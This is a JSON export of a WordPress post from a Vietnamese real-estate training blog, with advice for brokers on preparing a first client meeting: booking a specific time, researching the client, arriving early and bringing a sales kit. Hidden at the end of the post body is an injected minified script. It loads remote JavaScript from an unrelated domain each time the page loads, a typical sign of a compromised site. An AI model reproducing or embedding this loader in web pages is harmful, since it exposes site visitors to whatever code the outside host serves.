cu\u1ed9c g\u1eb7p m\u1eb7t \u0111\u1ea7u ti\u00ean s\u1ebd quy\u1ebft \u0111\u1ecbnh th\u00e0nh b\u1ea1i c\u1ee7a vi\u1ec7c<br>t\u01b0 v\u1ea5n B\u0110S.<br>B\u1ea1n mu\u1ed1n t\u1ea1o \u1ea5n t\u01b0\u1ee3ng trong m\u1eaft kh\u00e1ch h\u00e0ng chuy\u00ean nghi\u1ec7p hay kh\u00f4ng chuy\u00ean nghi\u1ec7p, c\u00f3<br>ki\u1ebfn th\u1ee9c hay non kinh nghi\u1ec7m, tin t\u01b0\u1edfng \u0111\u01b0\u1ee3c hay kh\u00f3 tin\u2026ph\u1ee5 thu\u1ed9c v\u00e0o cu\u1ed9c g\u1eb7p \u0111\u1ea7u ti\u00ean. V\u00ec th\u1ebf<br>b\u1ea1n ph\u1ea3i chu\u1ea9n b\u1ecb t\u1ed1t nh\u1ea5t cho n\u00f3.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"1_Dat_duoc_cuoc_hen_voi_khach_hang\"><\/span>1, \u0110\u1eb7t \u0111\u01b0\u1ee3c cu\u1ed9c h\u1eb9n v\u1edbi kh\u00e1ch h\u00e0ng<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p>C\u00f3 th\u1ec3 \u0111\u1ebfn nh\u00e0 t\u01b0 v\u1ea5n, h\u1eb9n \u0111\u1ebfn c\u01a1 quan \u0111\u01b0a t\u00e0i li\u1ec7u, h\u1eb9n \u0111\u1ebfn tham quan nh\u00e0 m\u1eabu, th\u0103m d\u1ef1<br>\u00e1n\u2026 Khi h\u1eb9n v\u1edbi kh\u00e1ch b\u1ea1n n\u00ean \u01b0u ti\u00ean th\u1eddi gian c\u1ee7a kh\u00e1ch h\u00e0ng.<br>C\u00e2u n\u00f3i c\u1eeda mi\u1ec7ng v\u1edbi kh\u00e1ch h\u00e0ng ph\u1ea3i lu\u00f4n l\u00e0: &#8220;Everywhere, everytime&#8221;. M\u1ecdi l\u00fac m\u1ecdi n\u01a1i<br>ti\u1ec7n cho kh\u00e1ch h\u00e0ng nh\u1ea5t.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"2_Chu_dong_hen_mot_lich_cu_the\"><\/span>2, Ch\u1ee7 \u0111\u1ed9ng h\u1eb9n m\u1ed9t l\u1ecbch c\u1ee5 th\u1ec3<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p>Sai l\u1ea7m l\u1edbn nh\u1ea5t c\u1ee7a m\u00f4i gi\u1edbi B\u0110S l\u00e0: &#8220;V\u1eady khi n\u00e0o r\u1ea3nh anh ch\u1ecb s\u1eafp x\u1ebfp th\u1eddi gian qua xem<br>nh\u00e0 m\u1eabu nh\u00e9?&#8221;<br>Thay v\u00e0o \u0111\u00f3 b\u1ea1n h\u00e3y n\u00f3i: &#8220;S\u00e1ng th\u1ee9 7 tu\u1ea7n n\u00e0y em c\u00f3 th\u1ec3 qua t\u01b0 v\u1ea5n chi ti\u1ebft cho anh ch\u1ecb<br>\u0111\u01b0\u1ee3ckh\u00f4ng \u1ea1? Chi\u1ec1u mai b\u00e1c qua xem nh\u00e0 m\u1eabu \u0111\u01b0\u1ee3c kh\u00f4ng \u1ea1?<br>=&gt; Th\u1eddi gian n\u00ean c\u1ee5 th\u1ec3 v\u00e0 h\u1eb9n c\u00e0ng s\u1edbm c\u00e0ng t\u1ed1t, v\u00ec n\u1ebfu \u0111\u1ec3 sau m\u1ed9t v\u00e0i ng\u00e0y th\u00ec r\u1ea5t c\u00f3 th\u1ec3<br>kh\u00e1ch h\u00e0ng s\u1ebd mua b\u00ean kh\u00e1c v\u00ec nh\u1eadn \u0111\u01b0\u1ee3c c\u00e1c t\u01b0 v\u1ea5n nhi\u1ec7t t\u00ecnh h\u01a1n.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"3_Nam_duoc_nhu_cau_cua_khach_hang_truoc_cuoc_hen\"><\/span>3, N\u1eafm \u0111\u01b0\u1ee3c nhu c\u1ea7u c\u1ee7a kh\u00e1ch h\u00e0ng tr\u01b0\u1edbc cu\u1ed9c h\u1eb9n<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p>Ch\u1eb3ng h\u1ea1n nh\u01b0 khai th\u00e1c tr\u01b0\u1edbc kh\u00e1ch h\u00e0ng \u0111\u00f3 \u1edf \u0111\u00e2u, l\u00e0m g\u00ec, nhu c\u1ea7u m\u1ea5y ph\u00f2ng ng\u1ee7\u2026\u0110\u1ec3 t\u1eeb<br>\u0111\u00f3 \u0111\u01b0a ra chi\u1ebfn l\u01b0\u1ee3c t\u01b0 v\u1ea5n cho h\u1ee3p l\u00fd v\u00e0 ch\u00ednh x\u00e1c. \u0110i\u1ec1u n\u00e0y r\u1ea5t quan tr\u1ecdng, b\u1ea1n n\u00ean t\u00ecm hi\u1ec3u tr\u01b0\u1edbc<br>kh\u00e1ch h\u00e0ng c\u1ee7a b\u1ea1n s\u1eafp g\u1eb7p l\u00e0 ai, l\u00e0 ng\u01b0\u1eddi nh\u01b0 th\u1ebf n\u00e0o (n\u1ebfu c\u00f3 Facebook r\u1ea5t d\u1ec5 t\u00ecm hi\u1ec3u \u0111\u01b0\u1ee3c gia<br>\u0111\u00ecnh, s\u1edf th\u00edch v\u00e0 nh\u1eefng th\u1ee9 kh\u00e1ch h\u00e0ng quan t\u00e2m).<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"4_Nhung_dieu_can_chuan_bi_cho_cuoc_gap_mat_dau_tien\"><\/span>4, Nh\u1eefng \u0111i\u1ec1u c\u1ea7n chu\u1ea9n b\u1ecb cho cu\u1ed9c g\u1eb7p m\u1eb7t \u0111\u1ea7u ti\u00ean<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p>Trang ph\u1ee5c chuy\u00ean nghi\u1ec7p, t\u1ef1 tin v\u00e0 \u0111\u01a1n gi\u1ea3n<\/p>\n\n\n\n<p>Website: agent.reti.vn | Hotline: 0987126898<\/p>\n\n\n\n<p>5<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>Th\u1eddi gian: N\u00ean \u0111\u1ebfn \u0111i\u1ec3m h\u1eb9n s\u1edbm kho\u1ea3ng 10 &#8211; 15 ph\u00fat. \u0110i\u1ec1u n\u00e0y gi\u00fap b\u1ea1n ch\u1ee7 \u0111\u1ed9ng h\u01a1n<br>trong cu\u1ed9c g\u1eb7p m\u1eb7t. \u0110i\u1ec1u t\u1ed1i k\u1ef5 l\u00e0 \u0111\u1ebfn mu\u1ed9n v\u1edbi 1 v\u00e0i l\u00fd do tr\u1eddi \u01a1i n\u00e0o \u0111\u00f3. N\u1ebfu b\u1ea5t kh\u1ea3 kh\u00e1ng h\u00e3y<br>g\u1ecdi \u0111i\u1ec7n xin l\u1ed7i kh\u00e1ch h\u00e0ng. M\u1ed9t s\u1ed1 kh\u00e1ch h\u00e0ng kh\u00f3 t\u00ednh s\u1ebd kh\u00f4ng l\u00e0m vi\u1ec7c v\u1edbi b\u1ea1n n\u1eefa n\u1ebfu b\u1ea1n \u0111\u1ebfn<br>mu\u1ed9n. Do \u0111\u00f3 c\u00e1c m\u00f4i gi\u1edbi n\u00ean l\u01b0u \u00fd k\u1ef9.<\/li><li>Sale kit \u0111\u1ea7y \u0111\u1ee7: B\u1ea1n n\u00ean chu\u1ea9n b\u1ecb b\u1ea3ng h\u00e0ng, ch\u00ednh s\u00e1ch m\u1edbi nh\u1ea5t v\u00e0 \u0111\u00ednhk\u00e8m card visit c\u00e1<br>nh\u00e2n. M\u1ecdi th\u1ee9 ph\u1ea3i th\u1eadt s\u1ef1 chuy\u00ean nghi\u1ec7p v\u00e0 \u1ea5n t\u01b0\u1ee3ng trong m\u1eaft kh\u00e1ch h\u00e0ng.<\/li><li>Ph\u01b0\u01a1ng \u00e1n t\u01b0 v\u1ea5n: N\u00ean chu\u1ea9n b\u1ecb 2 hay 3 ph\u01b0\u01a1ng \u00e1n cho kh\u00e1ch h\u00e0ng l\u1ef1a ch\u1ecdn l\u00e0 t\u1ed1t nh\u1ea5t.<br>Th\u00f4ng tin cung c\u1ea5p n\u00ean ki\u1ec3m tra v\u00e0 x\u00e1c th\u1ef1c m\u1ed9t c\u00e1ch ch\u00ednh x\u00e1c. Th\u00f4ng tin \u0111\u01b0a ra thi\u1ebfu ch\u00ednh x\u00e1c,<br>h\u1ee9a h\u00e3o huy\u1ec1n s\u1ebd l\u00e0 con dao c\u1eaft \u0111\u1ee9t ni\u1ec1m tin c\u1ee7a kh\u00e1ch h\u00e0ng d\u00e0nh cho b\u1ea1n. V\u00ec b\u1ea1n bi\u1ebft kh\u00f4ng? Kh\u00e1ch<br>h\u00e0ng \u0111a s\u1ed1 c\u00f3 s\u1ed1 tu\u1ed5i \u0111\u1eddi l\u1edbn h\u01a1n b\u1ea1n r\u1ea5t nhi\u1ec1u, tu\u1ed5i kinh nghi\u1ec7m x\u00e3 h\u1ed9i, m\u1ed1i quan h\u1ec7 h\u01a1n b\u1ea1n nhi\u1ec1u<br>l\u1ea7n, b\u1ea1n kh\u00f4ng bao gi\u1edd c\u00f3 th\u1ec3 qua m\u1eb7t h\u1ecd \u0111\u01b0\u1ee3c \u0111\u00e2u.<\/li><li>\u0110i 2 ng\u01b0\u1eddi khi t\u01b0 v\u1ea5n kh\u00e1ch h\u00e0ng: 2 ng\u01b0\u1eddi h\u1ed7 tr\u1ee3 nhau \u0111\u1ec3 t\u01b0 v\u1ea5n kh\u00e1ch h\u00e0ng, h\u1ecdc c\u00e1ch n\u00f3i<br>chuy\u1ec7n v\u00e0 t\u01b0 v\u1ea5n 1 c\u00e1ch t\u1ef1 nhi\u00ean nh\u1ea5t c\u00f3 th\u1ec3. V\u00ec &#8220;nh\u1eefng g\u00ec xu\u1ea5t ph\u00e1t t\u1eeb tr\u00e1i tim s\u1ebd \u0111\u1ebfn tr\u00e1i tim&#8221;.<\/li><\/ul>\n<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script>","protected":false},"excerpt":{"rendered":"<p>B\u1ea1n \u0111ang ho\u1ea1t \u0111\u1ed9ng trong l\u0129nh v\u1ef1c b\u1ea5t \u0111\u1ed9ng s\u1ea3n, b\u1ea1n l\u00e0 m\u1ed9t ng\u01b0\u1eddi m\u00f4 gi\u1edbi ch\u1eafc h\u1eb3n c\u00f4ng vi\u1ec7c t\u01b0 v\u1ea5n kh\u00e1ch h\u00e0ng qua \u0111i\u1ec7n tho\u1ea1i l\u00e0 vi\u1ec7c kh\u00f4ng th\u1ec3 thi\u1ebfu, nh\u01b0ng b\u1ea1n \u0111\u00e3 \u0111\u1ea1t \u0111\u01b0\u1ee3c hi\u1ec7u qu\u1ea3 \u0111\u1ec3 c\u00f3 cu\u1ed9c h\u1eb9n \u0111\u1ea7u ti\u00ean th\u00e0nh c\u00f4ng ch\u01b0a? H\u00e3y c\u00f9ng RETI t\u00ecm hi\u1ec3u ngay nh\u1eefng [&hellip;]<\/p>\n","protected":false},"author":36,"featured_media":0,"comment_status":"open","ping_status":"","sticky":false,"template":"","format":"standard","meta":{"tdm_status":"","tdm_grid_status":"","footnotes":""},"categories":[20],"tags":[],"class_list":{"0":"post-30011","1":"post","2":"type-post","3":"status-publish","4":"format-standard","6":"category-tin-va-su-kien-noi-bo"},"external_url":"","_links":{"self":[{"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/posts\/30011","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/users\/36"}],"replies":[{"embeddable":true,"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/comments?post=30011"}],"version-history":[{"count":0,"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/posts\/30011\/revisions"}],"wp:attachment":[{"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/media?parent=30011"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/categories?post=30011"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/tags?post=30011"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}